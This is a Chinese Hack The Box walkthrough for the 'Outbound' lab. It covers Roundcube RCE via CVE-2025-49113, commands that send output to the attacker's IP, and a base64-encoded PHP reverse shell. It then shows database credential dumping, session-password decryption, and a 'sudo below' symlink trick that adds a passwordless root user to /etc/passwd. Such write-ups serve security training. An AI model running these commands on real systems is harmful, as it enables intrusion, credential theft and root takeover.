当前位置: 首页 > news >正文

HTB 赛季8靶场 - Outbound

Rustscan扫描

在这里插入图片描述

我们开局便拥有账号 tyler / LhKL1o9Nm3X2,我们使用rustscan进行扫描

rustscan -a 10.10.11.77 --range 1-65535 --scan-order "Random" -- -A 

![[Pasted image 20250714084857.png]]

Web服务漏洞探查

我们以账号tyler / LhKL1o9Nm3X2登录webmail,并快速确认版本信息。
![[Pasted image 20250714085806.png]]

该版本存在RCE漏洞
![[Pasted image 20250714085846.png]]

我们找到相应的CVE漏洞POC
![[Pasted image 20250714090518.png]]

反连shell建立

user权限获取,我们先探测拥有哪些shell

#探测命令执行情况
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.6:80/$(id | base64 -w0)'uid=33(www-data) gid=33(www-data) groups=33(www-data)#探测nc python 等软件是否存在
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.4:80/$(which python nc bash sh ncao curl rustcat openssl perl php ruby socat ndoe java telnet zsh lua golang vlang awk nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null| base64 -w0)'/usr/bin/bash
/usr/bin/sh
/usr/bin/curl
/usr/bin/openssl
/usr/bin/perl
/usr/bin/php
/usr/bin/socat
/usr/bin/awk
/usr/bin/wget
/usr/bin/curl
/usr/bin/base64
/usr/bin/socat
/usr/bin/perl
/usr/bin/php#使用bash开启反向shell
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'echo L3Vzci9iaW4vcGhwIC1yICckc29jaz1mc29ja29wZW4oIjEwLjEwLjE2LjQiLDkwMDEpO2V4ZWMoIi9iaW4vYmFzaCA8JjMgPiYzIDI+JjMiKTsn | base64 -d | bash'

![[Pasted image 20250714092916.png]]

Cat查询存在用户 & ss查询端口开放情况

我们快速信息搜集,发现了用户、端口等信息

cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bashss -tuln
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp   LISTEN 0      100        127.0.0.1:25        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:993       0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:995       0.0.0.0:*          
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:143       0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:110       0.0.0.0:*          
tcp   LISTEN 0      100             [::]:993          [::]:*          
tcp   LISTEN 0      100             [::]:995          [::]:*          
tcp   LISTEN 0      100            [::1]:25           [::]:*          
tcp   LISTEN 0      100             [::]:143          [::]:*          
tcp   LISTEN 0      100             [::]:110          [::]:* 

爬取数据库

我们发现了web服务的config文件/var/www/html/roundcube/config/config.inc.php

$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

我们尝试访问3306端口,进入数据库

mysql -u roundcube -pRCDBPass2025 -e "SHOW DATABASES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SHOW TABLES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM users ;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM session ;"

经过网上的查询,我们了解到roundcube的users表并不包含密码。所以我们转战session,我们解密session的var字段,获取jacob用户的密码hash

L7Rv00A8TuwJAr67kITxxcSgnIk25Am

![[Pasted image 20250714110703.png]]
![[Pasted image 20250714110720.png]]

有趣的是我们还发现了/var/www/html/roundcube/bin/decrypt.sh工具

./decrypt.sh 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
595mO8DmwGeD

![[Pasted image 20250714110847.png]]

密码正确,切换成功
![[Pasted image 20250714111059.png]]

翻找邮箱文件获取账户密码

我们登录邮箱,发现邮件一个说jacob改了密码,一个说jacob拥有below访问权限。
![[Pasted image 20250714111614.png]]

![[Pasted image 20250714111625.png]]

gY4Wr3a1evp4

【TIP?】有趣的是我们密码被修改了,可为什么su却可以正常运行?是因为我们通过RCE进入的是一个虚拟机。

sudo二进制文件提权

接下来我们发现sudo -l 里面有一个命令below,并发现该命令的dump功能一旦出错,就会写入到/var/log/below/error_root.log 文件中。

-rw-rw-rw-  1 root  root      0 Jul 14 06:48 error_root.log

那么结合软连接跳转,我们可以创建新的文件,并且权限情况。

ln -sf /var/log/below/test /var/log/below/error_root.log
#出发错误从而写入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#创建的新文件
-rw-rw-rw-  1 root  root    588 Jul 14 06:52 test

![[Pasted image 20250714145232.png]]

我们现在有创建新文件的能力,那么我们验证以下是否拥有修改文件权限的能力。

rm test
touch test#获得的文件权限
-rw-rw-r--  1 jacob jacob     0 Jul 14 06:55 test#执行攻击
ln -sf /var/log/below/test /var/log/below/error_root.log
#出发错误从而写入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#修改后的文件权限
-rw-rw-rw-  1 jacob jacob   226 Jul 14 06:56 test

可以看到文件的所有者没有改变,但权限情况变了,所有人都可写了,这可能非常危险。这就确定了我们可以修改/etc/passwd文件,也可以修改/root/.ssh/id_ed25519来完成提权。下面是两种做法

# ==== /etc/passwd 版本 ====
ln -sf /etc/passwd /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
ls -al /etc/passwd
echo 'ydx::0:0:ydx:/root:/bin/bash' >> /etc/passwd
su ydx 

![[Pasted image 20250714150307.png]]

# ==== /root/.ssh/id_ed25519 版本 ====
ln -sf /root/.ssh/id_ed25519 /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
cat /root/.ssh/id_ed25519

![[Pasted image 20250714150057.png]]

没能成功,暂时不了解为何,可能是/root/.ssh/文件夹的权限存在控制情况。后续进入root账户后,发现确实为该问题。
![[Pasted image 20250714150934.png]]

所以我们尝试是否能够用同样的办法修改文件夹权限,目录没法做到相同的事情,所以该方法无法使用。

ln -sf /root /var/log/below/error_root.log
sudo below dump --snapshot /root disk --begin now
http://www.dtcms.com/a/278464.html

相关文章:

  • 微算法科技技术创新,将量子图像LSQb算法与量子加密技术相结合,构建更加安全的量子信息隐藏和传输系统
  • 复习笔记 38
  • 安卓基于 FirebaseAuth 实现 google 登录
  • 【小米训练营】C++方向 实践项目 Android Player
  • C++ 左值右值、左值引用右值引用、integral_constant、integral_constant的元模板使用案例
  • 量子计算新突破!阿里“太章3.0”实现512量子比特模拟(2025中国量子算力巅峰)
  • ethers.js-5–和solidity的关系
  • RPC 框架学习笔记
  • Spark 之 like 表达式
  • 软件测试中的BUG等级与生命周期详解
  • 走近科学IT版:EasyTire设置了ip,但是一闪之后就变回到原来的dhcp获得的地址
  • ros2版本自定义插件的实现与热插拔
  • 设计模式(行为型)-迭代器模式
  • java 判断两个集合中没有重复元素
  • iOS高级开发工程师面试——Objective-C 语言特性
  • Linux(Ubuntu)硬盘使用情况解析(已房子举例)
  • rk3588ubuntu 系统移植AIC8800D Wi-Fi6/BT5.0芯片
  • EMQX + Amazon S3 Tables:从实时物联网数据到数据湖仓
  • C++函数指针
  • Redis作缓存时存在的问题及其解决方案
  • 云原生核心技术解析:Docker vs Kubernetes vs Docker Compose
  • Word 与 Excel 下拉菜单对比(附示例下载)
  • 前端将传回的List数据组织成树形数据并展示
  • MEMS IMU如何赋能无人机与机器人精准感知?
  • 跨膜粘蛋白MUC17
  • MAC安装虚拟机
  • UE5多人MOBA+GAS 22、创建技能图标UI,实现显示蓝耗,冷却,以及数字显示的倒数计时还有雷达显示的倒数计时
  • IDEA中使用Servlet,tomcat输出中文乱码
  • ubuntu22.04下配置qt5.15.17开发环境
  • Kotlin委托